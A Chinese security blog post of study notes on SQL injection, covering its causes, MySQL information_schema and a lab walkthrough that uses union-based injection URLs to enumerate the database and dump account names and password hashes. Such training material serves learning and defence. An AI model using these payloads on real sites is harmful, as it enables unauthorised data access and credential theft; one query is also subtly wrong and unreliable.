freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

WEB漏洞 SQL注入之简要SQL注入
2024-02-07 09:52:27

本笔记基于B站迪总2020年视频学习,埋藏许久,偶然看到拿出来与诸君分享,B站搜索小迪安全,带你吃瓜!

1699110280_65465d886a979bd8a3689.png!small

SQL注入在安全测试中的危害

1.对数据库内的数据进行操控,比如:查询,删除等,某些可以更改后门

2. 通过注入点更改网站权限。

SQL注入产生原理详细分析

1699110395_65465dfbc2a9382935d8f.png!small

id接收到网页数据1,将其发送给sql,而后echo $sql;是输出上一条sql语句,接着将拼装好的sql语句传给$result,完事之后到数据中执行,最后展示

靶场中显示的结果:

1699110404_65465e042416fdfb4cdd8.png!small

分析语句

1699110417_65465e111455c7cd1d512.png!small

id=-2,是让union前面的语句报错,把后面联合查询的语句在页面中显示出来。如果前面语句没有报错,页面是只有一个位置显示数据,会只显示第一条查询的语句,后面自己插入的联合查询的语句就不会显示出来,反之后面的语句就会到数据库当中执行

SQL注入原理详细分析

可控变量.

1699110428_65465e1cae557fd8526ce.png!small

带入数据库查询

1699110455_65465e37598f08ca18df1.png!small

变量未存在过滤,或过滤不严谨(此题针对id)

以上缺一不可

1699110478_65465e4ea17fe0528b0a8.png!small

知识点

1699110489_65465e5948936daff9b89.png!small

1234 都可能存在SQL注入漏洞
相当于1,只是将index.php被省略了
就多加了一个参数
有post注入

1699110505_65465e6937de220b53cea.png!small

答案是 bc
a 错误的原因是注入点是x,却把注入的代码写在了y的后面
d 错误的原因是注入点是x,却没有出现x这个变量

例:

1699110516_65465e7499265ec166b5b.png!small

注意:我们在进行SQL注入的过程中应该明确注入点是哪个变量,然后在后面加上我们需要注入的SQL语句,在使用工具的时候可能会默认在后面加上注入的SQL语句,这时候我们应该进行修改到指定位置‘*’,使得能够成功在注入点指定位置加上语句,从而使注入能够成功。

搭建第一个SQL注入学习靶场环境

下载地址:https://github.com/Audi-1/sqli-labs

安装教程:百度即可

可能出现的问题:

1.这个页面:

1699110311_65465da7811b7651abebc.png!small

解决方法(点击即可)

1699110526_65465e7eaafc95fc034a2.png!small

2.进入靶场首页这样,建议彻底删除重新安装一遍(可能是页面不存在建议删除重新安装,当时小白阶段不太懂)(将sqliabs英文适当的加些字符)

1699110539_65465e8bc3637403fd7e4.png!small

3.扩展遇到的数据库连接问题和navciat中弹窗错错误的解决方式

1699110549_65465e951c04f1599986d.jpg!small

学习第一个数据库MYSQL简单注入

MYSQL注入:

思维导图

1699110562_65465ea228df846e1ba06.png!small

1.信息收集

操作系统

数据库名

数据库用户

数据库版本

2.数据注入

根据数据库版本

低版本 暴力查询结合读取查询

高版本 information_schema有据查询

3.高权限注入

常规查询

跨库查询

文件读写(需要网站路径)

MYSQL数据库内部大致关系

数据库A=网站A=数据库用户A

	表名
			列名
					数据

​	数据库B=网站B=数据库用户B

​	。。。。。。

​	数据库C=网站C=数据库用户C

​	。。。。。。

必备知识点:

1.在MYSQL5.0以上版本中,MYSQL存在一个自带数据库名为information_schema,它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。

2.数据库中符号"."代表下一级,如xiaodi.user表示xiaodi数据库下的user表名。

information_schema.tables:记录所有表名信息的表

information_schema.columns:记录所有列名信息的表

table_name:表名

column_name:列名

table_schema:数据库名

1.如何判断注入点(正常错误的判定标准)

老办法(可能存在注入点):

and 1=1 页面正常、

and 1=2 页面正常错误

案例:
SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1 正常

SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 错误

依据前提:

逻辑运算符

或 且 非

or and xor

真 且 真 = 真

真 且 假 = 假

真 或 假 = 真

依据:

SELECT * FROM users WHERE id=1 真

1=1 真

1=2 假

真且真=真 SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1 正常

真且假=假 SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 错误

能不能用or判断?

SELECT * FROM users WHERE id=1 or 1=1 LIMIT 0,1 正常

SELECT * FROM users WHERE id=1 or 1=2 LIMIT 0,1 正常

不能!

原因是什么?前面的语句为真的时候,不能判断第两个语句为真还是假

要选用最舒服的方法测试是否存在注入点

SELECT * FROM users WHERE id=1dadad(随便输入)LIMIT 0,1

在可能存在注入的变量后随便输入值后,存在三种情况:

1)对网页有影响,说明带入数据库进行查询有注入点

2)对网页没有影响,说明没有带入数据库查询,也说明对应的参数没有漏洞

3)网站出现404错误/自动跳转到其他页面,这个时候说明网站对输入的东西有检测,出现这种情况,被特殊执行语句过滤掉了,基本不存在SQL注入漏洞

2.猜解列名数量(字段数)

order by X 错误与正常值的试探

字段数为查询正常显示与非正常显示的那个临界值

实验演示

解题步骤:

启动墨者学院内部靶场

1699110582_65465eb6867fdcf1dff00.png!small

显示如下页面,这个url是入手的地方

1699110591_65465ebf9a1ee03f5848d.png!small

1699110602_65465eca6d4ea37e49e9d.png!small

1.判断注入点

在 ?id=tingjigonggao后面加上'判断,结果显示存在注入

http://124.70.91.203:48970/new_list.php?id=tingjigonggao'

1699110613_65465ed562641b1d7bd79.png!small

2.判断字段数

利用'order by 任意数字 %23去判断,得到4(结尾加%23的原因:在一个语句结尾时,需要用#结尾,而#的url编码就是%23)

4时依然是正常的,而5就报错,说明此网站的数据库有4个字段。

http://219.153.49.228:49521/new_list.php?id=1 order by 4 %23

1699110624_65465ee0aa3c8eea077c9.png!small

3.信息收集

数据库名:database();      mozhe_discuz_stormgroup

数据库用户:user();            root@localhost

数据库版本:version();       10.2.15-MariaDB-log   

操作系统:@@version_compile_os;      Linux

其他如系统路径等:@@datadir;     /var/lib/mysql/

猜解准备:在?id=tingjigonggao'后面加and 1=2(逻辑错误语句)(也可以是用其他方式),出现显示位2、3,优先使用union联合注入。
http://124.70.91.203:48970/new_list.php?id=tingjigonggao'and 1=2 union select 1,2,3,4 %23

1699110635_65465eeb7b714ce4100cb.png!small

3.1查询数据库名和版本

http://124.70.91.203:48970/new_list.php?id=tingjigonggao'and 1=2 union select 1,database(),version(),4 %23

1699110642_65465ef256f5073dafb31.png!small

3.2 查询操作系统和用户

http://124.70.91.203:48970/new_list.php?id=tingjigonggao'and 1=2 union select 1,@@version_compile_os,user(),4 %23

1699110659_65465f038ed615bf85b7f.png!small

3.3其他如系统路径

http://124.70.91.203:48970/new_list.php?id=tingjigonggao'and 1=2 union select 1,@@datadir,user(),4 %23

1699110666_65465f0a91d25614bfa50.png!small

4.查询数据库下的表

new_list.php?id=tingjigonggao'and 1=2 
union select 1,group_concat(table_name),3,4 
from information_schema.tables 
where table_schema='mozhe_discuz_stormgroup' %23

注释:1.information_schema.tables 中information_schena这个数据库(系统库)下的表

2.数据库名前面查出来的。

3.默认自带:

information_shcema.tables:记录所有表信息的表

information_shcema.columns:记录所有列名信息的表

table_name:表名

columns_name:列名

table_schema:数据库名

1699110685_65465f1dd033dd007e76b.png!small

5.查询数据表下的字段(列)

查询stormgroup_member表的列名

new_list.php?id=tingjigonggao'and 1=2 
union select 1,group_concat(column_name),3,4 
from information_schema.columns 
where table_name='stormgroup_member' %23

查询总的列名

/new_list.php?id=tingjigonggao'and 1=2 
union select 1,group_concat(column_name),3,4 f
rom information_schema.tables 
where columns_schema='mozhe_discuz_stormgroup' %23

1699110696_65465f28f129c56099099.png!small

6.查询账号密码

保存账号的name,保存密码的password,只需要查询以上即可

/new_list.php?id=tingjigonggao'and 1=2 
union select 1,group_concat(name),group_concat(password),4 
from stormgroup_member %23

1699110364_65465ddccff3738c4c87f.png!small

7.MD5解密

8.解密第二个便登录成功

1699110347_65465dcb61bb10c90023e.png!small

# 渗透测试 # 网络安全 # web安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者